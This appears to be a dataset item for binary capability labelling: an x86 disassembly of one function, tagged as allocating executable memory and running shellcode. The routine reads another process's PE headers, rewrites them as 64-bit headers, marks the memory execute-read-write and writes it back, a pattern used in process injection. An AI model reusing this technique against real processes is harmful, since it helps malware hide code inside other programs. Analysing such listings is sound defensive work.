Function at 0x100d9d70
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0x748
mov ecx, 0x3e
xor eax, eax
push ebx
push ebp
push esi
push edi
lea edi, [esp + 0x120]
mov ebx, dword [esp + 0x75c]
rep stosd dword es:[edi], eax
mov ecx, 0x42
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, 0x140
lea edi, [esp + 0x258]
push eax
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x764]
lea eax, [esp + 0x21c]
push 0x40
push eax
push edi
push ebx
call esi
test eax, eax
jne 0x100d9dd5
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x748
ret
mov ecx, dword [esp + 0x254]
push 0
lea edx, [esp + 0x124]
push 0xf8
lea ebp, [ecx + edi]
push edx
push ebp
push ebx
call esi
test eax, eax
jne 0x100d9e01
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x748
ret
push 0
lea eax, [esp + 0x1c]
push 0x108
push eax
push ebp
push ebx
call esi
test eax, eax
jne 0x100d9e20
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x748
ret
mov eax, dword [esp + 0x126]
cmp ax, 0x20
jbe 0x100d9e3a
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x748
ret
mov ecx, dword [esp + 0x134]
and eax, 0xffff
and ecx, 0xffff
push 0
lea eax, [eax + eax*4]
lea edx, [esp + 0x25c]
shl eax, 3
lea ecx, [ecx + ebp + 0x18]
push eax
push edx
push ecx
push ebx
call esi
test eax, eax
jne 0x100d9e74
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x748
ret
mov eax, dword [esp + 0x120]
mov dl, byte [esp + 0x13b]
mov ecx, 5
lea esi, [esp + 0x124]
lea edi, [esp + 0x1c]
mov dword [esp + 0x18], eax
rep movsd dword es:[edi], dword [esi]
mov cl, byte [esp + 0x13a]
mov byte [esp + 0x33], dl
mov edx, dword [esp + 0x144]
mov byte [esp + 0x32], cl
mov ecx, dword [esp + 0x140]
mov dword [esp + 0x3c], edx
mov edx, dword [esp + 0x154]
mov dword [esp + 0x38], ecx
mov ecx, dword [esp + 0x14c]
mov dword [esp + 0x48], edx
mov edx, dword [esp + 0x15c]
mov dword [esp + 0x44], ecx
mov ecx, dword [esp + 0x158]
mov dword [esp + 0x54], edx
mov dx, word [esp + 0x162]
mov dword [esp + 0x50], ecx
mov cx, word [esp + 0x160]
mov word [esp + 0x5a], dx
mov dx, word [esp + 0x166]
mov word [esp + 0x58], cx
mov cx, word [esp + 0x164]
mov word [esp + 0x5e], dx
mov dx, word [esp + 0x16a]
mov word [esp + 0x5c], cx
mov cx, word [esp + 0x168]
mov word [esp + 0x62], dx
mov edx, dword [esp + 0x170]
mov word [esp + 0x60], cx
mov ecx, dword [esp + 0x16c]
mov eax, dword [esp + 0x13c]
mov dword [esp + 0x64], ecx
mov ecx, dword [esp + 0x174]
mov dword [esp + 0x68], edx
mov edx, dword [esp + 0x178]
mov dword [esp + 0x6c], ecx
mov cx, word [esp + 0x17c]
mov dword [esp + 0x70], edx
mov dx, word [esp + 0x17e]
mov word [esp + 0x74], cx
mov ecx, dword [esp + 0x180]
mov word [esp + 0x76], dx
mov edx, dword [esp + 0x184]
mov dword [esp + 0x78], ecx
mov ecx, dword [esp + 0x188]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x148]
mov dword [esp + 0x80], edx
mov edx, dword [esp + 0x18c]
mov dword [esp + 0x88], ecx
mov ecx, dword [esp + 0x190]
mov dword [esp + 0x40], eax
mov dword [esp + 0x90], edx
mov edx, dword [esp + 0x194]
xor eax, eax
mov dword [esp + 0x98], ecx
mov ecx, 0x20
lea esi, [esp + 0x198]
lea edi, [esp + 0xa0]
mov word [esp + 0x1c], 0x8664
mov word [esp + 0x2c], 0xf0
mov word [esp + 0x30], 0x20b
mov dword [esp + 0x4c], eax
mov dword [esp + 0x7c], eax
mov dword [esp + 0x84], eax
mov dword [esp + 0x8c], eax
mov dword [esp + 0x94], eax
mov dword [esp + 0x9c], edx
mov dword [esp + 0x10], eax
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0xa8], eax
mov dword [esp + 0xac], eax
lea eax, [esp + 0x10]
push eax
push 0x40
mov ecx, dword [esp + 0x74]
mov edx, dword [esp + 0x768]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push ecx
push edx
push ebx
call edi
test eax, eax
jne 0x100da06b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x748
ret
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
lea eax, [esp + 0x1c]
push 0x108
push eax
push ebp
push ebx
call esi
test eax, eax
jne 0x100da090
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x748
ret
mov eax, dword [esp + 0x1e]
mov ecx, dword [esp + 0x2c]
and eax, 0xffff
and ecx, 0xffff
push 0
lea edx, [esp + 0x25c]
lea eax, [eax + eax*4]
lea ebp, [ecx + ebp + 0x18]
shl eax, 3
push eax
push edx
push ebp
push ebx
call esi
test eax, eax
jne 0x100da0cb
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x748
ret
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x6c]
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0
push eax
mov eax, dword [esp + 0x764]
push ecx
push edx
push eax
push ebx
call edi
neg eax
pop edi
pop esi
sbb eax, eax
pop ebp
neg eax
pop ebx
add esp, 0x748
ret